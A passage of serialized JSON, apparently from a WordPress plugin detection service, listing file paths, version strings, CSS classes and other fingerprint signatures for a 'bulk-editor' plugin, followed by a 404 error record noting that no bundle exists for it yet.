checks","2026-03-16T18:11:17.175Z",{"wat":1014,"direct":1069},{"assetPaths":1015,"generatorPatterns":1033,"scriptPaths":1034,"versionParams":1051},[1016,1017,1018,1019,1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032],"\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fcss\u002Fstyle.css","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fbulk-editor.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Ffields.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fsettings.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fposts.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Faccounts.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fusers.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fterms.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fcomments.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fusers_roles.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fstats.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Flanguages.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fplugins.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fthemes.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Foptions.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Feditor.js","\u002Fwp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fhelpers.js",[],[1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050],"wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fbulk-editor.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Ffields.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fsettings.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fposts.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Faccounts.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fusers.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fterms.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fcomments.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fusers_roles.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fstats.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Flanguages.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fplugins.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fthemes.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Foptions.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Feditor.js","wp-content\u002Fplugins\u002Fbulk-editor\u002Fassets\u002Fjs\u002Fhelpers.js",[1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068],"bulk-editor\u002Fassets\u002Fcss\u002Fstyle.css?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fbulk-editor.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Ffields.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fsettings.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fposts.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Faccounts.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fusers.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fterms.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fcomments.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fusers_roles.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fstats.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Flanguages.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fplugins.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fthemes.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Foptions.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Feditor.js?ver=","bulk-editor\u002Fassets\u002Fjs\u002Fhelpers.js?ver=",{"cssClasses":1070,"htmlComments":1072,"htmlAttributes":1074,"restEndpoints":1076,"jsGlobals":1077,"shortcodeOutput":1079},[1071],"wpbe-notice-dismissed",[1073],"\u003C!--wpbe_ext - include extensions from wp-content folder-->",[1075],"data-wpbe-id",[],[1078],"WPBE",[],{"error":466,"url":1081,"statusCode":1082,"statusMessage":1083,"message":1083},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fbulk-editor\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":28,"versions":1085},[]]